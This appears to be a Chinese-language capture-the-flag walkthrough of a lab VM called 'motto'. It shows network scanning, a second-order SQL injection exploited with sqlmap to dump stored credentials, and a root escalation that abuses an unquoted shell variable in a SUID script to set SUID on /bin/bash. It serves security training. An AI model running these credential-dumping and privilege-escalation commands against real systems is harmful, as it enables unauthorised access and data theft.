一、信息收集

1. 主机发现

使用 `arp-scan` 对本地网络进行扫描，识别出目标主机的 IP 地址。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:57:e5:45, IPv4: 192.168.205.128
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
...
192.168.205.237 08:00:27:C5:BA:A3       PCS Systemtechnik/Oracle VirtualBox
virtual NIC
...
```

目标主机IP： `192.168.205.237`

2. 端口与服务扫描

使用 `nmap` 对目标主机进行全端口扫描，以识别开放的端口及运行的服务。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nmap -p- 192.168.205.237
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 192.168.205.237
Host is up (0.0016s latency).
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
9090/tcp open  zeus-admin
```

扫描结果汇总：

端口	状态	服务	推断
22/tcp	open	ssh	远程管理服务，可用于后续登录
80/tcp	open	http	Web 服务，为一个 JavaScript 小游戏，未发现漏洞
9090/tcp	open	zeus-admin (http)	另一个 Web 服务，是本次攻击的主要入口

二、初始访问与漏洞利用

Web 渗透 (Port 9090): 二阶 SQL 注入

1. 漏洞发现

访问 `http://192.168.205.237:9090`，经过手动功能测试，发现该 Web 应用存在两个关键页面：

- `/myinfo`：允许已认证用户修改自己的昵称（`nickname`）。
- `/mymottos`：显示用户的昵称和座右铭信息。

测试发现，在 `/myinfo` 页面提交的 `nickname` 参数未经过滤就存入了数据库。当用户访问 `/mymottos` 页面时，系统从数据库中读取该昵称并拼接到 SQL 查询中，从而触发了 SQL 注入。这是一个典型的**二阶 SQL 注入 (Second-Order SQL Injection)**。

2. sqlmap 漏洞利用

由于该注入需要先在一个页面（`/myinfo`）提交 Payload，然后在另一个页面（`/mymottos`）观察结果，因此需要使用 `sqlmap` 的 `--second-url` 参数进行自动化利用。同时，所有请求都需要有效的 JWT Cookie 进行身份验证，可以通过抓取一个合法的请求包并使用 `-r` 参数加载。

`sqlmap` 利用步骤：

1. **抓取请求包**：使用 Burp Suite 等工具抓取一个从 `/myinfo` 页面修改昵称的 POST 请求，并保存为 `1.txt`。
2. **获取数据库信息**：

```
sqlmap -r 1.txt --batch --second-url "http://192.168.205.237:9090/mymottos"
--dbs
```

3. **获取表信息**：

```
sqlmap -r 1.txt --batch --second-url "http://192.168.205.237:9090/mymottos"
-D sql --tables
```

4. **转储凭证数据**：从 `register_infos` 表中转储用户凭证。

```
sqlmap -r 1.txt --batch --second-url "http://192.168.205.237:9090/mymottos"
-D sql -T register_infos --dump
```

通过上述操作，成功获取到用户 `redbean` 的 SSH 登录凭证。

3. 获取初始访问 Shell

使用获取到的凭证，成功通过 SSH 登录到目标主机。

```
┌──(kali㉿kali)-[/tmp]
└─$ ssh redbean@192.168.205.237
...
redbean@motto:~$ id
uid=1001(redbean) gid=1001(redbean) groups=1001(redbean)
```

三、权限提升

1. SUID 文件发现与代码审计

登录后，首先搜索系统中的 SUID 文件以寻找提权向量，发现一个非标准的程序 `/opt/run_newsh`。

```
redbean@motto:~$ find / -perm -4000 -type f 2>/dev/null
...
/opt/run_newsh
...
```

在 `redbean` 的家目录中发现了一个 `.backup` 文件夹，其中包含了 `run_newsh.c` 和 `new.sh` 的源代码，且文件可读。

- `run_newsh.c`：此 C 程序的功能是设置有效用户ID为 root（`setuid(0)`），然后执行 `/opt/newsh` 脚本，并将命令行传入的第一个参数（`argv[1]`）传递给该脚本。
- `new.sh`：脚本的核心逻辑如下：

  ```
  [ "$1" = "flag" ] && exit 2
  [ $1 = "flag" ] && chmod +s /bin/bash
  ```

2. 漏洞分析：Shell 路径名扩展

上述脚本中存在一个经典的安全漏洞：

- **第一行** `[ "$1" = "flag" ]`：使用了双引号包裹变量 `$1`，这会将其视为一个完整的字符串。因此，`"f*g"` 不会等于 `"flag"`，检查会失败，脚本继续执行。
- **第二行** `[ $1 = "flag" ]`：**没有使用双引号。**当 `$1` 的值包含通配符（如 `*` 或 `?`）时，Shell 会在执行 `[` (test) 命令前进行**路径名扩展。**如果当前目录下存在一个名为 `flag` 的文件，那么 `f*g` 就会被扩展为 `flag`，导致 `[ flag = flag ]` 的判断为真。

3. 漏洞利用

利用此特性，可以通过以下步骤为 `/bin/bash` 添加 SUID 位：

1. **切换到可写目录**：切换到 `/tmp` 目录，以确保我们有权限创建文件，并且避免干扰其他目录结构。

   ```
   redbean@motto:~$ cd /tmp
   ```

2. **创建触发文件**：创建一个名为 `flag` 的文件，为路径名扩展提供匹配目标。

   ```
   redbean@motto:/tmp$ touch flag
   ```

3. **执行SUID程序**：使用一个能匹配到 `flag` 文件的通配符（如 `f*g`）作为参数执行 `/opt/run_newsh`。

   ```
   redbean@motto:/tmp$ /opt/run_newsh "f*g"
   ```

   此命令成功绕过了第一行检查，并在第二行检查时触发了路径名扩展，执行了 `chmod +s /bin/bash`。

4. **验证并获取 Root Shell**：检查 `/bin/bash` 的权限，确认已设置 SUID 位。然后使用 `-p` 参数启动 `bash` 以保留 `euid`（有效用户ID）为 root。

```
redbean@motto:/tmp$ ls -al /bin/bash
-rwsr-xr-x 1 root root 1168776 ... /bin/bash

redbean@motto:/tmp$ bash -p
bash-5.0# id
uid=1001(redbean) gid=1001(redbean) euid=0(root) groups=1001(redbean)
bash-5.0# whoami
root
```

成功获取 root 权限的 shell。

四、夺取旗帜

获取 root 权限后，读取位于用户家目录和 root 目录下的旗帜文件。

```
root@motto:/# cat /home/redbean/user.txt
flag{user-flag-placeholder-for-motto-user}

root@motto:/# cat /root/root.txt
flag{root-flag-placeholder-for-motto-root}
```